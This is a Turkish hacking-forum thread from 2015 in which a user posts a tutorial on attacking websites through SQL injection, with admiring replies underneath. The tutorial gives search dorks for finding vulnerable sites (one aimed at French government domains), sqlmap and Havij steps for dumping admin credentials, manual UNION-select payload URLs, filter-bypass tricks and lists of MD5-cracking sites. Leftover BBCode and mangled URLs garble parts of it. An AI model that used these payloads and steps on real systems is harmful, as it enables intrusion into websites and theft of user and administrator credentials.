SQL Açığı Kullanımı ve Türleri Tüm Yöntemler /Manuel , Havij , SQLMAP/ AquieLL

AquieLL · 12 Ağu 2015

Evet Arkadaşlar SQL Açığı ve Türleri Tüm Yöntemler Konuma Hoşgelidiniz !

------------------------------------------------------
04 MART 2016 CUMA
#DUYURU KONUNUN DÜZGÜN HALİ BU LİNK'DEDİR.

http://www.turkhackteam.org/web-ser...igi-en-temelden-tum-yontemlerine-aquiell.html

#DUYURU KONUNUN DÜZGÜN HALİ BU LİNK'DEDİR.

http://www.turkhackteam.org/web-ser...igi-en-temelden-tum-yontemlerine-aquiell.html

#DUYURU KONUNUN DÜZGÜN HALİ BU LİNK'DEDİR.

http://www.turkhackteam.org/web-ser...igi-en-temelden-tum-yontemlerine-aquiell.html

------------------------------------------------------ ---------------------------------------------------------------------
DERS 1 SQL Hakkında Kısa Bilgiler

+SQL Nedir ?
+Veri Tabanından Bilgi Çekme Silme Vb. İşlemler İçin Kullanılır
+İnternet Sitelerinde Çokca Bulunan Bir Açıktır.
+KRİTİK BİR AÇIKITR !

+SQL Açığı Nedir ?
-SQL Açığı Veritabanındaki Zafiyetlerden Oluşur.

+SQL Açıklı Siteleri Nasıl Bulurum ?
+Gerekli Dorkarı Yazarak

ÖRNEK :

Kod:

inurl:newsDetail.php?id= 
inurl:gallery.php?id= i
nurl:article.php?id=

+SQL 'De Hedef Ülke İçin Dork Nasıl Yazılır ?
-

Kod:

inurl:php?id= gov.fr

+SQL Dork Yazdım Siteyi Buldum Açık Olduğunu Nasıl Anlarım ?
ÖRN:www.örneksitemiz.com/newsDetail.php?id=12
>>
id=12'
>>
id=12'nin Yanına tek tırnak (') Koyuyoruz.

Kod:

[COLOR=Orange][B][SIZE=2][COLOR=White][COLOR=Yellow][COLOR=SeaGreen][COLOR=SandyBrown][COLOR=SeaGreen][COLOR=DarkRed][COLOR=Teal][COLOR=DarkOrange][COLOR=SandyBrown][COLOR=Orange][COLOR=SandyBrown]i[COLOR=Gray]nclude(../inc/content220\\\\\\\\\\\\\\\\.inc.php) [function.include]:  failed to open stream: No such file or directory in  /homepages/6/d27097856/htdocs/www.fanatec.de/html/index.php on line 162[/COLOR][/COLOR][/COLOR][/COLOR][/COLOR][/COLOR][/COLOR][/COLOR][/COLOR][/COLOR][/COLOR][/COLOR][/SIZE][/B][/COLOR]

---------------------------------------------------------------------
DERS 2 MD5 ÇÖZME
Arkadaşlar MD5 Kırma Diye Birşey Günümüzde Bulunmamaktadır.

MD5'i Çözülenler Google Databasesinde Mevcuttur.

Bazı Siteler Çözülmüş MD5LERİ Bulmamızda Yardımcı Oluyor.

ÖRN :

Kod:

[LIST=1]
[*] [URL="https://tik.lat/CIu3L"] http://tr.freemd5.com[/URL]
[*] [URL="https://tik.lat/Q2Lfr"] â Hash Toolkit - Reverse MD5 / SHA1 Hashes â[/URL]
[*] [URL="https://tik.lat/4DdeY"] HashKiller.co.uk, Over 131.235 billion decrypted hashes in total, Free Hash Cracker, Online Hash Cracker[/URL]
[*] [URL="https://tik.lat/2QseI"] md5cracker.org | The Cracking Engine for MD5-Hashes[/URL]
[*] [URL="https://tik.lat/qal18"] MD5 Crack | A free online MD5 hash and password cracker and decrypter.[/URL]
[*] [URL="https://tik.lat/Sb5Hw"] md5 cracker - The fastest way to recover your lost passwords - Crack it[/URL]
[*] [URL="https://tik.lat/cOKVp"] online md5 cracker,md5 decoder, md5 decrypt[/URL]
[*] [URL="https://tik.lat/KvJIA"] MD5 Cracker - TobTu[/URL]
[*] [URL="https://tik.lat/0Li5l"] Cracker[/URL]
[*][URL]http://www.hash-cracker.com/[/URL]
[*] [URL="https://tik.lat/d2m1O"] MD5 Decrypter.com, MD5 Decryption, Free MD5 Decrypter, Security, MD5 Hash, MD5 Security.[/URL]
[*] [URL="https://tik.lat/Gueia"] md5,md5???,XMD5[/URL]
[*] [URL="https://tik.lat/Ta3eQ"] hash-database.net[/URL]
[*] [URL="https://tik.lat/hUq8X"] md5-hash.com[/URL]
[/LIST]

---------------------------------------------------------------------
Ders 3 Admin Panel Bulma

1-)İntelli Tamper :
Sitenin Dosyalarını Çekip Admin Panelini Bulabilirsiniz.

2-)Havij:
Haviji İndirip Menülerden " Admin Panel Finder " Basıp Admin Panelini Bulabilirsiniz .

3-)Robots.txt ; ve Sitemap ;
Sitemap= Bulundugunuz Sitenin Haritasını Gösterir Ki Admin Panelini Bulabilirsiniz

Robots.txt= İse Eger Ki Adminin Browser'ı Google İse Robots.txt Site'deki Bi Nevi Kayıt Yapan Google
Robotudur(Script Kaydı ) Bunuda txt Belgesi Olarak sİtede Görüntüleyebilirsiniz.

+Robots.txt ve sitemap ; nasıl uygularım ?
-www.siteadresi.com/sitemap.xml&&

yada

-www.siteadresi.com/robots.tx

---------------------------------------------------------------------

DERS 4 HEDEF SİTEDE SQL AÇIK TARAYICI PROGRAMLAR

1-)Safe 3 :
www.hedefsitemiz.com/ Şeklinde Yazıp " Scan" Butonuna Basıyoruz .

-Eğer Açık Var İse "Vulnerablinies" Bölümünde çıkacaktır.

-Açık Çıktıysa Sağ Tıklayıp " Export " Diyoruz .

- Ve Bizi Açığa Yönlendiriyor.

2-)Acunetix :

Sol Üst Köşede " New Scan " Basıyoruz.
-Karşımıza Çıkan Pencere'de Hedef Sitemizin Başına "http://www." Koyarak Yazıyoruz .
-Next ... Next Diyoruz
-VE Finish Geliyor Finish Deyip Açık Taramasını Bekliyoruz.
-Kritik Açık Olduğunu Kırmızı Renkteki Açıklar Belitiyor. İşimize Yarayan O'dur.

3-)WebCruiserWWS :

-Web Cruiser Programı xss , lfi , sql , rfi açıkları tarayabilir.

-scanner deyip hedef sitemizi yazıp " scan site " dediktan sonra tarama başlar.

---------------------------------------------------------------------
Ders 5 Havij İle Site Hackleme

+HAVİJ AÇIYORUZ TARGET YAZAN YERE SİTE ADRESİMİZİ YAZIYORUZ.

+Sitemizi Yazdıktan Sonra " Analyze " Tuşuna Basıyoruz.

+Bekliyoruz...

+Tables Diyoruz ve Databasemizi Seçiyoruz.

+Databesemizi Seçtikten Sonra " Tables >> Get Tables " Diyoruz.

+Bilgilerimiz Geliyor...

+Gelen Bilgilerden " USER " Seçiyoruz.

+User Seçtikten Sonra >> " get columns " diyoruz.

+Yeni Bilgiler Geliyor Bize Lazım Olan " ADMİN(username) VE PASSWORD " SEÇİYORUZ.

+ADMİN(USERNAME) VE PASSWORD SEÇTİKTEN SONRA >> " GET DATA " DİYORUZ.

+Ve İstediğimiz Bilgiler Çekiliyor ..

---------------------------------------------------------------------
DERS 6 SQLMAP İLE SİTE HACK

Gerekli Programlar :

+SQLMAP
+Phyton 2.7

Yükledikten Sonra :

+SQLMAP'I C:// Dizisine Atın.

+İlk Olarak CMD açın ve ;

Kod:

cd..

+Devam Ediyoruz.

Kod:

cd..

+Bir Değişiklik Yapıyoruz.

Kod:

cd sqlmap

+SQLMAP yoluna geldik şimdi

Kod:

sqlmap.py -u''http://site.com/php?id=1'' --dbs

+Şimdi Bize [Y/n] Sorusu Soracak Y Deyip Devam Ediyoruz
+Tabloları Çekelim

Kod:

sqlmap.py -u''http://site.com/php?id=1'' veritabanı ismi --tables

+Düzenlersek

Kod:

sqlmap.py -u''http://site.com/php?id=1'' türkhack--tables

Kod:

sqlmap.py -u''http://site.com/php?id=1'' türkhack -T tablo_ismi --columns

+Düzenlersek

Kod:

sqlmap.py -u''http://site.com/php?id=1'' türkhack -T admin --columns

ADMİN Kolonları İçindeki Tabloları Bulduk Varsayarsak

+----------+--------------+
| Column | Type |
+----------+--------------+
| Password | varchar(100) |
| Username | varchar(100) |

Bunlar geldi varsayalım..

+Şifre Bulmak İçin.

Kod:

sqlmap.py -u''http://site.com/php?id=1'' türkhack-T admin -C Password --dump

+Kullanıcı Adı İçin.

Kod:

sqlmap.py -u''http://site.com/php?id=1'' türkhack-T admin -C Username --dump

---------------------------------------------------------------------
Ders 7 Manuel SQL Hack

Saldırı Aşamaları :
İki Türlü Saldırı Yapılabilir Havij ve Manuel .
İlk Olarak Manuel İle Saldıralım.

1-)İlk Önce Sitenin Kolon Sayısını Öğreneceğiz .
2-)Kolonları Yansıtacağız.
3-)Tablo İsimlerini Çekeceğiz.
4-)Tablolardan İstediğmizi Alacağız ( Şifre - Email - Kullanıcı Adı)

Ve Saldırıyoruz ...

1-)Kolon Sayısını Öğrenme :

Site:örneksitemiz.com/index.php?id=30

Arkadaşlar Sitemizin Sonuna (order+by+sayı- ) ( - işaretini getirmeyi unutmayalım)

Kod:

>> örneksitemiz.com/index.php?id=30+order+by+29-

Eğer Şöyle Bir Hata Gelirse :

Hata: Unknown column 10 in order clause Benzer Bir Hata Çıkarsa ;

>> Kolon Sayısı 29'dan Küçük Tek Tek Aşağı İniyoruz .

>>order+by+28- , order+by+27-, order+by+26 , Site Eski Haline Gelesiye Kadar İniyoruz .

>> order+by+25- ( Sayfa Burda Eski Haline Gelmiş İse KOLON SAYIMIZ 25'Dir . )

2-)Kolonları Yansıtma

Arkadaşlar Burda +union+select+kolon Teker Teker Yazıyoruz. (- Sitenin Sonuna Yine Eklenecektir.)

>>

Kod:

http://www.%C3%B6rneksitemiz.com/index.php?id=30www.örneksitemiz.com/index.php?id=30[/URL]      URL Sonuna

>>

Kod:

www.örneksitemiz.com/index.php?id=30+union+select+1+2+3+4+5+...23+24+25-

Şeklinde Olucak Kolon Sayımız Kaçsa Oraya Kadar Yazacağız.

>>
Şimdi Ekranı Sayılar Yansıyacak 10 ve 13 Yansıdı Diyelim. Bu Sayılardan Birini Seçip İşlemimize Devam Edeceğiz.Eğer Sayılar Yansımazsa Bypass Gerekecek.

>>Bypass

Kod:

1) Normal: +union +select+1,2,3,4,5,6,7,25
 
    Bypass: +/*!union*/+/*!select*/+1,2,3,4,5,6,7,25
 
2) Normal:+union +select+1,2,3,4,5,6,7,25
 
    Bypass: +union +(select+1,2,3,4,5,6,7,25)
 
3) Normal:+union +select+1,2,3,4,5,6,7,25
 
    Bypass: +#union# +#select#+1,2,3,4,5,6,7,25

3-)Tablo İsimlerini Çekmek

-Yansıyan Sayıları ( 10 ve 13) Birini Seçiyoruz .
-10 Seçelim.

Kod:

A-)www.örneksitemiz.com/index.php?id=30+union+select+1,2,database(),3,4,5,  6,7,8,..,24,25-

Bu Komut Sayesinde Sitenin VeriTabanı İsmini Öğreniyoruz.

Kod:

B-)www.örneksitemiz.com/index.php?id=30+union+select+1,2,version(),3,4,5,6  ,7,8,..,24,25-

Bu Komut Sayesinde Sitenin VeriTabanı Versiyonunu Öğreniyoruz.

Kod:

C-)www.örneksitemiz.com/index.php?id=30+union+select+1,2,group_contact(tab    le_name),4,5,6,7,8,...,24,25+from+information_schema.tables-
 [COLOR=Orange][B][SIZE=2][COLOR=White][COLOR=Yellow][SIZE=3][COLOR=white][SIZE=3][COLOR=white]
 [SIZE=2][COLOR=SandyBrown][B] information_schema.tables = veritabanındaki tablo isimlerini gösterir
 
>>schema.tables yerini daha sonra şu komutu yazıyoruz.
 
 [/B][B] information_schema.columns = veritabanındaki kolon isimlerini gösterir
 
 [CODE]-)http://www.%C3%B6rneksitemiz/index.php?id=30+union+selectwww.örneksitemiz/index.php?id=30+union+select[/URL]+1,2,group_concat(table_name),4,5,...,24,25+from+i  nformation_schema.tables+where+tables_schema=database()

[/B][/COLOR][/SIZE][/COLOR][/SIZE][/COLOR][/SIZE][/COLOR][/COLOR][/SIZE][/B][/COLOR]
Bu kod sayesinde sadece hedef sitenin tablo isimlerini öğreniriz. Şimdi bu kodu gönderelim, gönderdikten sonra sitenin tablo isimleri ekrana yansıyacaktır. Örneğin yansıyan isimleri aşağıya yazalım.

Tablo İsimleri: admin,yerler,etkinlikler,yaptıklarımız

Bizim burada ilgileneceğimiz tablo ismi admin dir.

4-)Tablo İsimlerinden Veriyi Almak

-Adminin Verilerini Alacağız.

Kod:

www.örneksitemiz.com/index.php?id=30+union+select+1,2,group_concat(CoLumn_Name),4,5,6,7,8+fr  om+information_schema.CoLumns+where+TabLeS_schema=  database()+and+TabLe_Name=admin

Bu Kodu Gönderdikten Sonra Admin İçindeki Sütunlar Gelecektir. Gelen Sutünlar

ÖRN : user
passaword
e-mail
phone number

Bize Lazım Olanlar " User ve Passaword "

>>
Şimdi Bize Lazım Olan Passaword ve User Sütunlarını Alalım

>>

Kod:

www.örneksite.com/index.php?id=30+union+select+1,2,group_concat(user,password),4,5,6,7,8+ from+admin

Kodunu Yazıp Sayfayı Yeniliyoruz.

>>
Ve Ekrana User ve Passaword Bilgileri Yansıyacaktır.

>>
Bilgileri Aldık Şimdi ( Admin Panelini ) Bulmamız Gerekecektir. (İntelli Tamper Programı Bu konuda İyidir)

ZeroCool1905 · 12 Ağu 2015

Eline sağlık aquu

CoolPlayerTR · 12 Ağu 2015

Ellerine sağlık

Jenjente110 · 12 Ağu 2015

Tebrıkler Cok Guzel Paylasım

AquieLL · 12 Ağu 2015

Teşekkürler Arkadaşlar . Devamı Gelecekk //

RePLiKa · 12 Ağu 2015

Çok güzel anlatmışsın

systemofbozoklu · 12 Ağu 2015

Cok yararli oldu tesekkur ederim

BerQueen · 12 Ağu 2015

Yine AquieLL yine sapasağlam bir konu . Eline sağlık .

AquieLL · 12 Ağu 2015

Teşekkürler Arkadaşlar Sürekli Ekleme Yapıyorum
Eklenecekler
1-)SQLMAP
2-)ADMİN PANEL SORUNU
3-)MD5 Bulma
4-)MySQL Falan Filan Gelecek....

AquieLL · 12 Ağu 2015

LakhoPss' Alıntı:
Abi çok iyi anlatmışsın da manuel kısmında ya ?id=string olursa ne yapacağız

Farketmiyor Aynı Şekilde ( ' )

'AdrenaLiN · 12 Ağu 2015

Eline emeğine sağlık

AquieLL · 12 Ağu 2015

Teşekkürler Kardeşim.

Black-Leonx' · 12 Ağu 2015

Yararlı Konu Eline Sağlık Aqu

skilled · 12 Ağu 2015

Ellerine sağlık aquu

Alcestra · 12 Ağu 2015

Çok güzel bir anlatım olmuş

Ben de manuel bir anlatım arıyordum ellerine sağlık

AquieLL · 12 Ağu 2015

Teşekkürler Arkadaşlar

HackForLife · 12 Ağu 2015

bi havij de biz yapsak fena olmaz :trl

AquieLL · 12 Ağu 2015

Yap yap

AquieLL · 13 Ağu 2015

sqlmap
admin panel bulma
md5 çözme
konuya eklenmiştir !

Wep · 13 Ağu 2015

Havij 1.15 güncel indirme linki ve kurulum videosu var mı?

SQL Açığı Kullanımı ve Türleri Tüm Yöntemler /Manuel , Havij , SQLMAP/ AquieLL

Kıdemli Üye

Uzman üye

Katılımcı Üye

Uzman üye

Kıdemli Üye

Kıdemli Üye

Katılımcı Üye

Uzman üye

Kıdemli Üye

Kıdemli Üye

Yaşayan Forum Efsanesi

Kıdemli Üye

Özel Üye

Uzman üye

Katılımcı Üye

Kıdemli Üye

Katılımcı Üye

Kıdemli Üye

Kıdemli Üye

Kıdemli Üye